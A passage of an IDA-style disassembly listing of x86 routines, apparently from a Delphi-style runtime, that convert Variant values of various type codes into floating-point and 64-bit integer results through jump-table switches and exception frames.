		dd offset loc_40010825
		dd offset loc_400107C6
		dd offset loc_400107DC
		dd offset loc_400107EF
		dd offset loc_40010802
		dd offset loc_40010819
; ---------------------------------------------------------------------------


loc_4001075A:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		xor	eax, eax	; jumptable 400106FF case 0
		mov	[ebp+var_8], eax
		jmp	loc_40010867
; ---------------------------------------------------------------------------


loc_40010764:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		cmp	byte_4001AA10, 0 ; jumptable 400106FF case 1
		jz	short loc_4001077A
		mov	dx, 4
		mov	ax, 1
		call	sub_4000DBF4


loc_4001077A:				; CODE XREF: sub_400106E4+87j
		xor	eax, eax
		mov	[ebp+var_8], eax
		jmp	loc_40010867
; ---------------------------------------------------------------------------


loc_40010784:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 2
		fild	word ptr [eax+8]
		fstp	[ebp+var_8]
		wait
		jmp	loc_40010867
; ---------------------------------------------------------------------------


loc_40010793:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 3
		fild	dword ptr [eax+8]
		fstp	[ebp+var_8]
		wait
		jmp	loc_40010867
; ---------------------------------------------------------------------------


loc_400107A2:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 4
		mov	eax, [eax+8]
		mov	[ebp+var_8], eax
		jmp	loc_40010867
; ---------------------------------------------------------------------------


loc_400107B0:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 11
		movsx	eax, word ptr [eax+8]
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fstp	[ebp+var_8]
		wait
		jmp	loc_40010867
; ---------------------------------------------------------------------------


loc_400107C6:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 16
		movsx	eax, byte ptr [eax+8]
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fstp	[ebp+var_8]
		wait
		jmp	loc_40010867
; ---------------------------------------------------------------------------


loc_400107DC:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 17
		movzx	eax, byte ptr [eax+8]
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fstp	[ebp+var_8]
		wait
		jmp	short loc_40010867
; ---------------------------------------------------------------------------


loc_400107EF:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 18
		movzx	eax, word ptr [eax+8]
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fstp	[ebp+var_8]
		wait
		jmp	short loc_40010867
; ---------------------------------------------------------------------------


loc_40010802:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 19
		mov	eax, [eax+8]
		mov	dword ptr [ebp+var_14],	eax
		xor	eax, eax
		mov	dword ptr [ebp+var_14+4], eax
		fild	[ebp+var_14]
		fstp	[ebp+var_8]
		wait
		jmp	short loc_40010867
; ---------------------------------------------------------------------------


loc_40010819:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 20
		fild	qword ptr [eax+8]
		fstp	[ebp+var_8]
		wait
		jmp	short loc_40010867
; ---------------------------------------------------------------------------


loc_40010825:				; CODE XREF: sub_400106E4+15j
					; sub_400106E4+1Bj
					; DATA XREF: ...
		xor	eax, eax	; default
					; jumptable 400106FF cases 5-10,12-15
		push	ebp
		push	offset loc_40010849
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4001036C
		fstp	[ebp+var_8]
		wait
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_40010867
; ---------------------------------------------------------------------------


loc_40010849:				; DATA XREF: sub_400106E4+144o
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 4
		call	sub_4000E068
		xor	eax, eax
		mov	[ebp+var_8], eax
		call	sub_40004360


loc_40010867:				; CODE XREF: sub_400106E4+7Bj
					; sub_400106E4+9Bj ...
		fld	[ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400106E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40010874	proc near		; CODE XREF: sub_40010ABC+DEp
					; sub_40010ABC+1A7p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40010950
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_4]
		call	sub_40011DFC
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	400h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, off_4001AF3C
		mov	eax, [eax]
		call	eax
		mov	edx, eax
		sub	edx, 80020005h
		jz	short loc_400108CC
		sub	edx, 7FFDFFFBh
		jnz	short loc_40010921
		jmp	short loc_4001092D
; ---------------------------------------------------------------------------


loc_400108CC:				; CODE XREF: sub_40010874+4Cj
		lea	eax, [ebp+var_1C]
		mov	edx, [ebp+var_4]
		call	sub_40004B0C
		mov	eax, [ebp+var_1C]
		lea	edx, [ebp+var_10]
		call	sub_4000A710
		test	al, al
		jnz	short loc_4001092D
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_4]
		call	sub_40004B0C
		mov	eax, [ebp+var_20]
		lea	edx, [ebp+var_18]
		call	sub_40008E90
		test	al, al
		jz	short loc_4001090E
		mov	eax, [ebp+var_18]
		mov	dword ptr [ebp+var_10],	eax
		mov	eax, [ebp+var_14]
		mov	dword ptr [ebp+var_10+4], eax
		jmp	short loc_4001092D
; ---------------------------------------------------------------------------


loc_4001090E:				; CODE XREF: sub_40010874+8Aj
		movzx	edx, word ptr [ebx]
		mov	cx, 7
		mov	eax, 80020005h
		call	sub_4000E034
		jmp	short loc_4001092D
; ---------------------------------------------------------------------------


loc_40010921:				; CODE XREF: sub_40010874+54j
		movzx	edx, word ptr [ebx]
		mov	cx, 7
		call	sub_4000E034


loc_4001092D:				; CODE XREF: sub_40010874+56j
					; sub_40010874+70j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40010957


loc_4001093A:				; CODE XREF: sub_40010874+E1j
		lea	eax, [ebp+var_20]
		mov	edx, 2
		call	sub_400048A8
		lea	eax, [ebp+var_4]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_40010950:				; DATA XREF: sub_40010874+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001093A
; ---------------------------------------------------------------------------


loc_40010957:				; CODE XREF: sub_40010874+DBj
					; DATA XREF: sub_40010874+C1o
		fld	[ebp+var_10]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40010874	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40010960	proc near		; CODE XREF: sub_40010ABC+166p
					; sub_40010ABC+307p

var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4000CDD8
		mov	[ebp+var_18], 5
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		push	7
		push	0
		push	400h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 7
		call	sub_4000E034
		mov	eax, [ebp+var_10]
		mov	dword ptr [ebp+var_8], eax
		mov	eax, [ebp+var_C]
		mov	dword ptr [ebp+var_8+4], eax
		fld	[ebp+var_8]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40010960	endp


; =============== S U B	R O U T	I N E =======================================



sub_400109C0	proc near		; CODE XREF: sub_40010ABC+BCp
					; sub_40010ABC+187p ...

var_1C		= qword	ptr -1Ch
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFE8h
		mov	ebx, eax
		lea	eax, [esp+1Ch+var_14]
		push	eax
		call	sub_4000CDD8
		push	7
		push	0
		push	400h
		push	ebx
		lea	eax, [esp+2Ch+var_14]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 7
		call	sub_4000E034
		mov	eax, [esp+1Ch+var_C]
		mov	dword ptr [esp+1Ch+var_1C], eax
		mov	eax, [esp+1Ch+var_8]
		mov	dword ptr [esp+1Ch+var_1C+4], eax
		fld	[esp+1Ch+var_1C]
		add	esp, 18h
		pop	ebx
		retn
sub_400109C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40010A0C	proc near		; CODE XREF: sub_40010ABC+1B7p

var_18		= byte ptr -18h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_40010A61
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_18]
		call	sub_4000E700
		lea	eax, [ebp+var_18]
		call	ds:off_4001F29C
		lea	eax, [ebp+var_18]
		call	sub_40010ABC
		fstp	[ebp+var_8]
		wait
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40010A68


loc_40010A58:				; CODE XREF: sub_40010A0C+5Aj
		lea	eax, [ebp+var_18]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_40010A61:				; DATA XREF: sub_40010A0C+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40010A58
; ---------------------------------------------------------------------------


loc_40010A68:				; CODE XREF: sub_40010A0C+54j
					; DATA XREF: sub_40010A0C+47o
		fld	[ebp+var_8]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40010A0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40010A70	proc near		; CODE XREF: sub_40010ABC+331p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, edx
		mov	esi, eax
		mov	edx, esp
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		mov	ebx, eax
		test	bl, bl
		jz	short loc_40010AB2
		lea	eax, [esp+20h+var_1C]
		push	eax
		call	sub_4000CDD8
		push	7
		mov	ecx, esi
		lea	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		mov	eax, [esp+20h+var_14]
		mov	[edi], eax
		mov	eax, [esp+20h+var_10]
		mov	[edi+4], eax


loc_40010AB2:				; CODE XREF: sub_40010A70+18j
		mov	eax, ebx
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40010A70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40010ABC	proc near		; CODE XREF: sub_4000E9CC+14Ap
					; sub_40010A0C+36p ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFECh
		mov	ebx, eax
		movzx	eax, word ptr [ebx]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_40010C51	; default
					; jumptable 40010AD1 cases 10,14,15
		jmp	ds:off_40010AD8[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40010AD8	dd offset loc_40010B2C	; DATA XREF: sub_40010ABC+15r
		dd offset loc_40010B3A	; jump table for switch	statement
		dd offset loc_40010B5E
		dd offset loc_40010B6A
		dd offset loc_40010B76
		dd offset loc_40010B76
		dd offset loc_40010B76
		dd offset loc_40010B86
		dd offset loc_40010B98
		dd offset loc_40010C41
		dd offset loc_40010C51
		dd offset loc_40010BA8
		dd offset loc_40010C30
		dd offset loc_40010C41
		dd offset loc_40010C51
		dd offset loc_40010C51
		dd offset loc_40010BBD
		dd offset loc_40010BD2
		dd offset loc_40010BE7
		dd offset loc_40010BFC
		dd offset loc_40010C16
; ---------------------------------------------------------------------------


loc_40010B2C:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		xor	eax, eax	; jumptable 40010AD1 case 0
		mov	dword ptr [esp+18h+var_18], eax
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010B3A:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		cmp	byte_4001AA10, 0 ; jumptable 40010AD1 case 1
		jz	short loc_40010B50
		mov	dx, 7
		mov	ax, 1
		call	sub_4000DBF4


loc_40010B50:				; CODE XREF: sub_40010ABC+85j
		xor	eax, eax
		mov	dword ptr [esp+18h+var_18], eax
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010B5E:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		fild	word ptr [ebx+8] ; jumptable 40010AD1 case 2
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010B6A:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		fild	dword ptr [ebx+8] ; jumptable 40010AD1 case 3
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010B76:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		mov	eax, ebx	; jumptable 40010AD1 cases 4-6
		call	sub_400109C0
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010B86:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		mov	eax, [ebx+8]	; jumptable 40010AD1 case 7
		mov	dword ptr [esp+18h+var_18], eax
		mov	eax, [ebx+0Ch]
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010B98:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		mov	eax, ebx	; jumptable 40010AD1 case 8
		call	sub_40010874
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010BA8:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		movsx	eax, word ptr [ebx+8] ;	jumptable 40010AD1 case	11
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010BBD:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		movsx	eax, byte ptr [ebx+8] ;	jumptable 40010AD1 case	16
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010BD2:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		movzx	eax, byte ptr [ebx+8] ;	jumptable 40010AD1 case	17
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010BE7:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		movzx	eax, word ptr [ebx+8] ;	jumptable 40010AD1 case	18
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010BFC:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		mov	eax, [ebx+8]	; jumptable 40010AD1 case 19
		mov	dword ptr [esp+18h+var_C], eax
		xor	eax, eax
		mov	dword ptr [esp+18h+var_C+4], eax
		fild	[esp+18h+var_C]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010C16:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		fild	qword ptr [ebx+8] ; jumptable 40010AD1 case 20
		add	esp, 0FFFFFFF8h
		fstp	[esp+20h+var_20]
		wait
		mov	eax, ebx
		call	sub_40010960
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010C30:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		mov	eax, [ebx+8]	; jumptable 40010AD1 case 12
		call	sub_40010ABC
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010C41:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		mov	eax, ebx	; jumptable 40010AD1 cases 9,13
		call	sub_400109C0
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010C51:				; CODE XREF: sub_40010ABC+Fj
					; sub_40010ABC+15j
					; DATA XREF: ...
		mov	edx, eax	; default
					; jumptable 40010AD1 cases 10,14,15
		sub	dx, 100h
		jz	short loc_40010C61
		dec	dx
		jz	short loc_40010C71
		jmp	short loc_40010C81
; ---------------------------------------------------------------------------


loc_40010C61:				; CODE XREF: sub_40010ABC+19Cj
		mov	eax, ebx
		call	sub_40010874
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010C71:				; CODE XREF: sub_40010ABC+1A1j
		mov	eax, ebx
		call	sub_40010A0C
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010C81:				; CODE XREF: sub_40010ABC+1A3j
		test	ah, 40h
		jz	loc_40010DE9
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_40010DDC	; default
					; jumptable 40010C9B cases 0,1,9,10,13-15
		jmp	ds:off_40010CA2[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40010CA2	dd offset loc_40010DDC	; DATA XREF: sub_40010ABC+1DFr
		dd offset loc_40010DDC	; jump table for switch	statement
		dd offset loc_40010CF6
		dd offset loc_40010D04
		dd offset loc_40010D12
		dd offset loc_40010D12
		dd offset loc_40010D12
		dd offset loc_40010D22
		dd offset loc_40010D36
		dd offset loc_40010DDC
		dd offset loc_40010DDC
		dd offset loc_40010D46
		dd offset loc_40010DCE
		dd offset loc_40010DDC
		dd offset loc_40010DDC
		dd offset loc_40010DDC
		dd offset loc_40010D5D
		dd offset loc_40010D74
		dd offset loc_40010D88
		dd offset loc_40010D9C
		dd offset loc_40010DB5
; ---------------------------------------------------------------------------


loc_40010CF6:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 2
		fild	word ptr [eax]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D04:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 3
		fild	dword ptr [eax]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D12:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, ebx	; jumptable 40010C9B cases 4-6
		call	sub_400109C0
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D22:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 7
		mov	edx, [eax]
		mov	dword ptr [esp+18h+var_18], edx
		mov	edx, [eax+4]
		mov	dword ptr [esp+18h+var_18+4], edx
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D36:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, ebx	; jumptable 40010C9B case 8
		call	sub_40010874
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D46:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 11
		movsx	eax, word ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D5D:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 16
		movsx	eax, byte ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D74:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 17
		movzx	eax, byte ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D88:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 18
		movzx	eax, word ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D9C:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 19
		mov	eax, [eax]
		mov	dword ptr [esp+18h+var_C], eax
		xor	eax, eax
		mov	dword ptr [esp+18h+var_C+4], eax
		fild	[esp+18h+var_C]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_40010E01
; ---------------------------------------------------------------------------


loc_40010DB5:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 20
		fild	qword ptr [eax]
		add	esp, 0FFFFFFF8h
		fstp	[esp+20h+var_20]
		wait
		mov	eax, ebx
		call	sub_40010960
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_40010E01
; ---------------------------------------------------------------------------


loc_40010DCE:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 12
		call	sub_40010ABC
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_40010E01
; ---------------------------------------------------------------------------


loc_40010DDC:				; CODE XREF: sub_40010ABC+1D9j
					; sub_40010ABC+1DFj
					; DATA XREF: ...
		mov	eax, ebx	; default
					; jumptable 40010C9B cases 0,1,9,10,13-15
		call	sub_400109C0
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_40010E01
; ---------------------------------------------------------------------------


loc_40010DE9:				; CODE XREF: sub_40010ABC+1C8j
		mov	edx, esp
		mov	eax, ebx
		call	sub_40010A70
		test	al, al
		jnz	short loc_40010E01
		mov	eax, ebx
		call	sub_400109C0
		fstp	[esp+18h+var_18]
		wait


loc_40010E01:				; CODE XREF: sub_40010ABC+79j
					; sub_40010ABC+9Dj ...
		fld	[esp+18h+var_18]
		add	esp, 14h
		pop	ebx
		retn
sub_40010ABC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40010E0C	proc near		; CODE XREF: sub_40011024+FAp
					; sub_40011024+1E1p ...

var_14		= dword	ptr -14h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		xor	edx, edx
		mov	[ebp+var_14], edx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40010EB8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_4]
		call	sub_40011DFC
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	400h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, off_4001B0A0
		mov	eax, [eax]
		call	eax
		mov	edx, eax
		sub	edx, 80020005h
		jz	short loc_40010E61
		sub	edx, 7FFDFFFBh
		jnz	short loc_40010E8E
		jmp	short loc_40010E9A
; ---------------------------------------------------------------------------


loc_40010E61:				; CODE XREF: sub_40010E0C+49j
		lea	eax, [ebp+var_14]
		mov	edx, [ebp+var_4]
		call	sub_40004B0C
		mov	eax, [ebp+var_14]
		lea	edx, [ebp+var_10]
		call	sub_40008EE8
		test	al, al
		jnz	short loc_40010E9A
		movzx	edx, word ptr [ebx]
		mov	cx, 6
		mov	eax, 80020005h
		call	sub_4000E034
		jmp	short loc_40010E9A
; ---------------------------------------------------------------------------


loc_40010E8E:				; CODE XREF: sub_40010E0C+51j
		movzx	edx, word ptr [ebx]
		mov	cx, 6
		call	sub_4000E034


loc_40010E9A:				; CODE XREF: sub_40010E0C+53j
					; sub_40010E0C+6Dj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40010EBF


loc_40010EA7:				; CODE XREF: sub_40010E0C+B1j
		lea	eax, [ebp+var_14]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_40010EB8:				; DATA XREF: sub_40010E0C+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40010EA7
; ---------------------------------------------------------------------------


loc_40010EBF:				; CODE XREF: sub_40010E0C+ABj
					; DATA XREF: sub_40010E0C+96o
		fild	[ebp+var_10]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40010E0C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40010EC8	proc near		; CODE XREF: sub_40011024+1A0p
					; sub_40011024+37Ep

var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4000CDD8
		mov	[ebp+var_18], 5
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		push	6
		push	0
		push	400h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 6
		call	sub_4000E034
		mov	eax, [ebp+var_10]
		mov	dword ptr [ebp+var_8], eax
		mov	eax, [ebp+var_C]
		mov	dword ptr [ebp+var_8+4], eax
		fild	[ebp+var_8]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40010EC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40010F28	proc near		; CODE XREF: sub_40011024+C8p
					; sub_40011024+EAp ...

